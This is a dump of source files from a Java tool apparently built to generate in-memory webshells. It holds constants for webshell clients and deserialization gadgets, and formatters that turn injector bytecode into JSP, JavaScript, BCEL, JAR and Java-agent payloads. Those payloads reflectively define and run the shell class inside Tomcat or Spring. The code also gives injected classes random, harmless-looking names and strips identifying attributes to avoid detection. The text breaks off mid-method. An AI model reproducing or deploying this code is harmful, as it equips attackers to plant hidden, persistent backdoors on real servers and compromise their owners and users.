37 | public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
38 | public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
39 | public static final String FORMAT_CLASS = "CLASS";
40 | public static final String FORMAT_BCEL = "BCEL";
41 | public static final String FORMAT_JSP = "JSP";
42 | public static final String FORMAT_JAR = "JAR";
43 | public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
44 | public static final String FORMAT_JS = "JS";
45 | public static final String FORMAT_BASE64 = "BASE64";
46 | public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
47 |
48 |
49 | public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
50 |
51 | public static final String GADGET_SNAKEYAML = "SnakeYaml";
52 |
53 | public static final String GADGET_NONE = "NONE";
54 |
55 | public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
56 | public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
57 |
58 | public static final String TOOL_ANTSWORD = "AntSword";
59 | public static final String TOOL_BEHINDER = "Behinder";
60 | public static final String TOOL_GODZILLA = "Godzilla";
61 |
62 | public static final String TOOL_CUSTOM = "Custom";
63 |
64 | public static final String TOOL_NEOREGEORG = "NeoreGeorg";
65 | public static final String TOOL_SUO5 = "Suo5";
66 |
67 | public static final String EXPR_EL = "EL";
68 | public static final String EXPR_SPEL = "SpEL";
69 | public static final String EXPR_OGNL = "OGNL";
70 | public static final String EXPR_FREEMARKER = "FreeMarker";
71 | public static final String EXPR_VELOCITY = "Velocity";
72 | public static final String EXPR_JS = "ScriptEngineManager(JS)";
73 |
74 | public static final String DETECT_DNS = "DNSLog";
75 | public static final String DETECT_HTTP = "HTTPLog";
76 |
77 | public static final String DETECT_SLEEP = "Sleep";
78 | public static final String DETECT_DFSECHO = "DFSEcho";
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 |
6 | import java.io.IOException;
7 | import java.util.Base64;
8 |
9 | public class BASE64Formater implements IFormater {
10 | @Override
11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12 | Base64.Encoder base64Encoder = Base64.getEncoder();
13 | return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
14 | }
15 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BCELFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import me.gv7.woodpecker.bcel.HackBCELs;
5 |
6 | import java.io.IOException;
7 |
8 | public class BCELFormater implements IFormater {
9 |
10 |
11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12 | // 解决 BCEL 的classloader 的问题
13 | byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
14 | return HackBCELs.encode(bcelClzBytes).getBytes();
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BCELoader.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import java.lang.reflect.Method;
4 |
5 | public class BCELoader {
6 | static {
7 | new BCELoader();
8 | }
9 |
10 | private String getClassName() {
11 | return "";
12 | }
13 |
14 | private String getBase64String() {
15 | return "";
16 | }
17 |
18 | public BCELoader() {
19 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
20 | try {
21 | classLoader.loadClass(getClassName()).newInstance();
22 | } catch (Exception e) {
23 | try {
24 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
25 | defineClass.setAccessible(true);
26 | byte[] clazzBytes = decodeFromBase64(getBase64String());
27 | Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
28 | clazz.newInstance();
29 | } catch (Exception ee) {
30 | }
31 | }
32 | }
33 |
34 | public static byte[] decodeFromBase64(String input) {
35 | byte[] var2 = null;
36 |
37 | Class var1;
38 | try {
39 | var1 = Class.forName("java.util.Base64");
40 | Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
41 | var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
42 | } catch (Exception var6) {
43 | try {
44 | var1 = Class.forName("sun.misc.BASE64Decoder");
45 | Object var4 = var1.newInstance();
46 | var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
47 | } catch (Exception var5) {
48 | }
49 | }
50 |
51 | return var2;
52 | }
53 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 | import jmg.core.config.AbstractConfig;
8 | import jmg.core.util.JavassistUtil;
9 |
10 | public class BCELoaderGenerator {
11 | public static byte[] generatorBCELoaderClass(AbstractConfig config) {
12 | try {
13 | ClassPool pool = ClassPool.getDefault();
14 | ClassClassPath classPath = new ClassClassPath(BCELoader.class);
15 | pool.insertClassPath(classPath);
16 | CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
17 | ctClass.setName(config.getLoaderClassName());
18 | ctClass.getClassFile().setVersionToJava5();
19 | CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
20 | getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
21 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
22 | String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
23 | String[] parts = splitChunks(base64ClassString, 40000);
24 | StringBuilder result = new StringBuilder();
25 | for (int i = 0; i < parts.length; i++) {
26 | if (i > 0) result.append("+");
27 | result.append("new String(\"" + parts[i] + "\")");
28 | }
29 | getBase64String.setBody(String.format("{return %s;}", result));
30 | ctClass.defrost();
31 | JavassistUtil.removeSourceFileAttribute(ctClass);
32 | byte[] bytes = ctClass.toBytecode();
33 | ctClass.detach();
34 | return bytes;
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | return null;
39 | }
40 |
41 | private static String encodeToBase64(byte[] input) throws Exception {
42 | String value = null;
43 | Class base64;
44 | try {
45 | base64 = Class.forName("java.util.Base64");
46 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
47 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
48 | } catch (Exception var6) {
49 | try {
50 | base64 = Class.forName("sun.misc.BASE64Encoder");
51 | Object Encoder = base64.newInstance();
52 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
53 | } catch (Exception var5) {
54 | }
55 | }
56 | return value;
57 | }
58 |
59 | private static String[] splitChunks(String source, int CHUNK_SIZE) {
60 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
61 | char[] payload = source.toCharArray();
62 | int start = 0;
63 | for (int i = 0; i < ret.length; i++) {
64 | if (start + CHUNK_SIZE > payload.length) {
65 | char[] b = new char[payload.length - start];
66 | System.arraycopy(payload, start, b, 0, payload.length - start);
67 | ret[i] = new String(b);
68 | } else {
69 | char[] b = new char[CHUNK_SIZE];
70 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
71 | ret[i] = new String(b);
72 | }
73 | start += CHUNK_SIZE;
74 | }
75 | return ret;
76 | }
77 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 |
6 | import java.io.IOException;
7 | import java.math.BigInteger;
8 |
9 | public class BigIntegerFormater implements IFormater {
10 | @Override
11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12 | return new BigInteger(clazzbyte).toString(36).getBytes();
13 | }
14 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/IFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 |
6 | import java.io.IOException;
7 |
8 | public interface IFormater {
9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
10 | }
11 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import javassist.ClassPool;
4 | import javassist.CtClass;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.template.SpringMVCAgentTransformer;
8 | import jmg.core.template.TomcatAgentTransformer;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 |
12 | import java.io.*;
13 | import java.nio.file.Files;
14 | import java.nio.file.Paths;
15 | import java.util.Enumeration;
16 | import java.util.jar.JarEntry;
17 | import java.util.jar.JarFile;
18 | import java.util.jar.JarOutputStream;
19 | import java.util.jar.Manifest;
20 |
21 | // todo: 其他中间件
22 |
23 | public class JARAgentFormater implements IFormater {
24 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
25 | String className = TomcatAgentTransformer.class.getName();
26 | String simpleName = TomcatAgentTransformer.class.getSimpleName();
27 | if (config.getServerType().equals(Constants.SERVER_TOMCAT)) {
28 | className = TomcatAgentTransformer.class.getName();
29 | simpleName = TomcatAgentTransformer.class.getSimpleName();
30 | } else if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)) {
31 | className = SpringMVCAgentTransformer.class.getName();
32 | simpleName = SpringMVCAgentTransformer.class.getSimpleName();
33 | } else {
34 | throw new RuntimeException(String.format("Java Agent 暂时只支持 %s、%s",Constants.SERVER_TOMCAT,Constants.SERVER_SPRING_MVC));
35 | }
36 |
37 | String classFileName = simpleName.replace('.', '/') + ".class";
38 | ClassPool pool = ClassPool.getDefault();
39 | // Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
40 | // File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
41 |
42 | InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
43 | File jarFile = File.createTempFile("jmg-agent", ".jar");
44 | try (FileOutputStream out = new FileOutputStream(jarFile)) {
45 | byte[] buffer = new byte[1024];
46 | int bytesRead;
47 | while ((bytesRead = jarStream.read(buffer)) != -1) {
48 | out.write(buffer, 0, bytesRead);
49 | }
50 | }
51 |
52 | Manifest manifest = createManifest(simpleName);
53 | File tempJarFile = File.createTempFile("tempJar", ".jar");
54 |
55 | try (JarFile jar = new JarFile(jarFile);
56 | JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
57 |
58 | copyJarEntries(jar, tempJar);
59 |
60 | addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(), CommonUtil.encodeBase64(clazzbyte));
61 | } catch (Exception e) {
62 | e.printStackTrace();
63 | }
64 |
65 | return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
66 | }
67 |
68 | private Manifest createManifest(String simpleName) {
69 | Manifest manifest = new Manifest();
70 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
71 | manifest.getMainAttributes().putValue("Agent-Class", simpleName);
72 | manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
73 | manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
74 | manifest.getMainAttributes().putValue("Main-Class", simpleName);
75 | return manifest;
76 | }
77 |
78 | private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
79 | Enumeration jarEntries = jar.entries();
80 | while (jarEntries.hasMoreElements()) {
81 | JarEntry entry = jarEntries.nextElement();
82 | try (InputStream entryInputStream = jar.getInputStream(entry)) {
83 | tempJar.putNextEntry(entry);
84 | byte[] buffer = new byte[1024];
85 | int bytesRead;
86 | while ((bytesRead = entryInputStream.read(buffer)) != -1) {
87 | tempJar.write(buffer, 0, bytesRead);
88 | }
89 | }
90 | }
91 | }
92 |
93 | private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar, String injectFlag, String injectorCode) throws Exception {
94 | CtClass ctClass = pool.get(className);
95 | ctClass.getClassFile().setVersionToJava5();
96 | ctClass.setName(simpleName);
97 | JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
98 | tempJar.putNextEntry(new JarEntry(classFileName));
99 | tempJar.write(ctClass.toBytecode());
100 | ctClass.detach();
101 | }
102 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JARFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.IOException;
7 | import java.nio.charset.StandardCharsets;
8 | import java.util.jar.JarEntry;
9 | import java.util.jar.JarOutputStream;
10 | import java.util.jar.Manifest;
11 |
12 | public class JARFormater implements IFormater {
13 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
14 | String className = config.getInjectorClassName();
15 | String jarEntryFileName = className.replace(".", "/") + ".class";
16 |
17 | Manifest manifest = new Manifest();
18 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
19 |
20 | ByteArrayOutputStream out = new ByteArrayOutputStream();
21 | try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
22 | jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
23 | jarOutputStream.write(clazzbyte);
24 | jarOutputStream.closeEntry();
25 |
26 | // fastjson + groovy 的利用
27 | if (config.isImplementsASTTransformationType()) {
28 | String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
29 | JarEntry entry = new JarEntry(entryName);
30 | jarOutputStream.putNextEntry(entry);
31 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
32 | jarOutputStream.closeEntry();
33 | }
34 |
35 | // snakeyaml + loadJar 的利用
36 | if (config.isImplementsScriptEngineFactory()) {
37 | String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
38 | JarEntry entry = new JarEntry(entryName);
39 | jarOutputStream.putNextEntry(entry);
40 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
41 | jarOutputStream.closeEntry();
42 | }
43 | }
44 |
45 | return out.toByteArray();
46 | }
47 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JSPFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder;
5 |
6 | import java.io.IOException;
7 |
8 | public class JSPFormater implements IFormater {
9 |
10 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
11 | String strJSP = "<%\n" +
12 | " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
13 | " try{\n" +
14 | " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
15 | " }catch (Exception e){\n" +
16 | " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
17 | " defineClass.setAccessible(true);\n" +
18 | " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
19 | " byte[] bytecode = null;\n" +
20 | " try {\n" +
21 | " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
22 | " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
23 | " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
24 | " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
25 | " } catch (ClassNotFoundException ee) {\n" +
26 | " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
27 | " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
28 | " }\n" +
29 | " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
30 | " clazz.newInstance();\n" +
31 | " }\n" +
32 | "%>";
33 | return strJSP.getBytes();
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder;
5 |
6 | import java.io.IOException;
7 |
8 | public class JavaScriptFormater implements IFormater {
9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
10 | String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
11 | "try{\n" +
12 | " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
13 | "}catch (e){\n" +
14 | " var clsString = classLoader.loadClass('java.lang.String');\n" +
15 | " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
16 | " var bytecode;\n" +
17 | " try{\n" +
18 | " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
19 | " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
20 | " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
21 | " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
22 | " } catch (ee) {\n" +
23 | " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
24 | " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
25 | " }\n" +
26 | " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
27 | " var clsByteArray = classLoader.loadClass('[B');\n" +
28 | " var clsInt = java.lang.Integer.TYPE;\n" +
29 | " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
30 | " defineClass.setAccessible(true);\n" +
31 | " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
32 | " clazz.newInstance();\n" +
33 | "}";
34 | return strJS.getBytes();
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.core.generator;
2 |
3 | import javassist.ClassPool;
4 | import jmg.core.config.AbstractConfig;
5 |
6 | public interface IShellGenerator {
7 | ClassPool pool = ClassPool.getDefault();
8 |
9 | void initShell(AbstractConfig config);
10 |
11 | byte[] makeShell(AbstractConfig config) throws Exception;
12 |
13 | byte[] modifyShell(String className, AbstractConfig config);
14 | }
15 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.core.generator;
2 |
3 | import javassist.*;
4 | import javassist.bytecode.AccessFlag;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.util.*;
8 |
9 |
10 | /**
11 | * 注入器生成
12 | */
13 | public class InjectorGenerator {
14 | public byte[] makeInjector(AbstractConfig config) throws Exception {
15 | String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
16 | String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
17 | byte[] bytes = UtilPlus.generate(injectorClassName, config);
18 | config.setInjectorBytes(bytes);
19 | config.setInjectorBytesLength(bytes.length);
20 | return bytes;
21 | }
22 |
23 |
24 | public static class UtilPlus {
25 | @SuppressWarnings("unchecked")
26 | private final static ClassPool pool = ClassPool.getDefault();
27 |
28 | public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
29 | pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
30 | CtClass ctClass = pool.getCtClass(injectorTplClassName);
31 | ctClass.getClassFile().setVersionToJava5();
32 | String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
33 |
34 | String urlPattern = config.getUrlPattern();
35 | String shellClassName = config.getShellClassName();
36 |
37 | if (base64ShellString != null) {
38 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
39 | String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
40 | StringBuilder result = new StringBuilder();
41 | for (int i = 0; i < parts.length; i++) {
42 | if (i > 0)
43 | result.append("+");
44 | result.append("new String(\"" + parts[i] + "\")");
45 | }
46 |
47 | getBase64String.setBody(String.format("{return %s;}", result));
48 | }
49 |
50 | if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
51 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
52 | getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
53 | }
54 |
55 | if (shellClassName != null) {
56 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
57 | getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
58 | }
59 |
60 | if (config.isEnableBypassJDKModule()) {
61 | // 添加 bypassJDKModule 方法
62 | CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
63 | ctMethod.setModifiers(AccessFlag.PUBLIC);
64 | ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
65 | ctClass.addMethod(ctMethod);
66 |
67 | // 添加 bypassJDKModule 调用
68 | CtConstructor constructor = ctClass.getConstructors()[0];
69 | constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
70 | constructor.insertBeforeBody("bypassJDKModule();");
71 | }
72 |
73 | JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
74 | JavassistUtil.removeSourceFileAttribute(ctClass);
75 | byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
76 | ctClass.detach();
77 | return bytes;
78 | }
79 |
80 | private static String[] splitChunks(String source, int CHUNK_SIZE) {
81 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
82 | char[] payload = source.toCharArray();
83 | int start = 0;
84 | for (int i = 0; i < ret.length; i++) {
85 | if (start + CHUNK_SIZE > payload.length) {
86 | char[] b = new char[payload.length - start];
87 | System.arraycopy(payload, start, b, 0, payload.length - start);
88 | ret[i] = new String(b);
89 | } else {
90 | char[] b = new char[CHUNK_SIZE];
91 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
92 | ret[i] = new String(b);
93 | }
94 | start += CHUNK_SIZE;
95 | }
96 | return ret;
97 | }
98 | }
99 |
100 |
101 | }
102 |
103 |
104 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/jMGCodeApi.java:
--------------------------------------------------------------------------------
1 | package jmg.core;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 | import jmg.core.config.Constants;
6 | import jmg.core.format.*;
7 |
8 | public class jMGCodeApi {
9 | AbstractConfig config;
10 |
11 | public jMGCodeApi(AbstractConfig config) {
12 | this.config = config;
13 | }
14 |
15 | public byte[] generate() throws Throwable {
16 | byte[] clazzBytes;
17 | if (config.isEnabledExtender()) {
18 | clazzBytes = config.getExtenderBytes();
19 | } else {
20 | clazzBytes = config.getInjectorBytes();
21 | }
22 | if (clazzBytes == null) {
23 | return null;
24 | }
25 |
26 | // 格式转换
27 | byte[] bytes = null;
28 | switch (config.getOutputFormat()) {
29 | case Constants.FORMAT_BCEL:
30 | bytes = new BCELFormater().transform(clazzBytes, config);
31 | break;
32 | case Constants.FORMAT_JSP:
33 | bytes = new JSPFormater().transform(clazzBytes, config);
34 | break;
35 | case Constants.FORMAT_JAR:
36 | bytes = new JARFormater().transform(clazzBytes, config);
37 | break;
38 | case Constants.FORMAT_JAR_AGENT:
39 | bytes = new JARAgentFormater().transform(clazzBytes, config);
40 | break;
41 | case Constants.FORMAT_JS:
42 | bytes = new JavaScriptFormater().transform(clazzBytes, config);
43 | break;
44 | case Constants.FORMAT_BASE64:
45 | bytes = new BASE64Formater().transform(clazzBytes, config);
46 | break;
47 | case Constants.FORMAT_BIGINTEGER:
48 | bytes = new BigIntegerFormater().transform(clazzBytes, config);
49 | break;
50 | default:
51 | bytes = clazzBytes;
52 | break;
53 | }
54 | return bytes;
55 | }
56 | }
57 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.core.util;
2 |
3 |
4 |
5 | import jmg.core.config.Constants;
6 |
7 | import java.util.ArrayList;
8 | import java.util.List;
9 | import java.util.Random;
10 |
11 |
12 | public class ClassNameUtil {
13 | static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
14 | static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
15 |
16 |
17 | public static String getRandomName(String[]... arrays) {
18 | List classNames = new ArrayList<>();
19 | for (String[] array : arrays) {
20 | for (String className : array) {
21 | classNames.add(className);
22 | }
23 | }
24 | Random random = new Random();
25 | int index = random.nextInt(classNames.size());
26 | return classNames.get(index);
27 | }
28 |
29 |
30 | public static String generateRandomString() {
31 | Random random = new Random();
32 | StringBuilder sb = new StringBuilder();
33 | int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
34 | for (int i = 0; i < length; i++) {
35 | char c = (char) (random.nextInt(26) + 'a');
36 | sb.append(c);
37 | }
38 | return sb.toString();
39 | }
40 |
41 | public static String getRandomInjectorClassName(){
42 |
43 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
44 | }
45 |
46 | public static String getRandomExtenderClassName(){
47 |
48 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
49 | }
50 |
51 | public static String getRandomLoaderClassName(){
52 |
53 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
54 | }
55 |
56 |
57 | public static String getClassPrefixName(){
58 | return ClassNameUtil.getRandomName(prefixNames);
59 | }
60 |
61 | public static String getRandomShellClassName(String shellType) {
62 |
63 | if (shellType.contains(Constants.SHELL_LISTENER)){
64 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
65 | }
66 | if (shellType.contains(Constants.SHELL_VALVE)){
67 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve";
68 | }
69 | if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
70 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
71 | }
72 | if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
73 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
74 | }
75 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.core.util;
2 |
3 | import javassist.ClassPool;
4 | import javassist.CtClass;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 |
8 | /**
9 | * 专项漏洞的处理
10 | */
11 | public class CtClassUtil {
12 | private AbstractConfig config;
13 | private ClassPool pool;
14 | private CtClass ctClass;
15 |
16 | public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
17 | this.config = config;
18 | this.pool = pool;
19 | this.ctClass = ctClass;
20 | }
21 |
22 |
23 | public byte[] modifyForExploitation() throws Exception {
24 | if (config.getGadgetType() != null) {
25 | if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
26 | applyJDKAbstractTranslet();
27 | }
28 | if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
29 | applyXALANAbstractTranslet();
30 | }
31 |
32 | if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
33 | applyFastjsonGroovyASTTransformation();
34 | }
35 | if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
36 | applySnakeYamlScriptEngineFactory();
37 | }
38 | }
39 | return ctClass.toBytecode();
40 | }
41 |
42 |
43 | public void applyJDKAbstractTranslet() throws Exception {
44 | JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
45 | }
46 |
47 | public void applyXALANAbstractTranslet() {
48 | try {
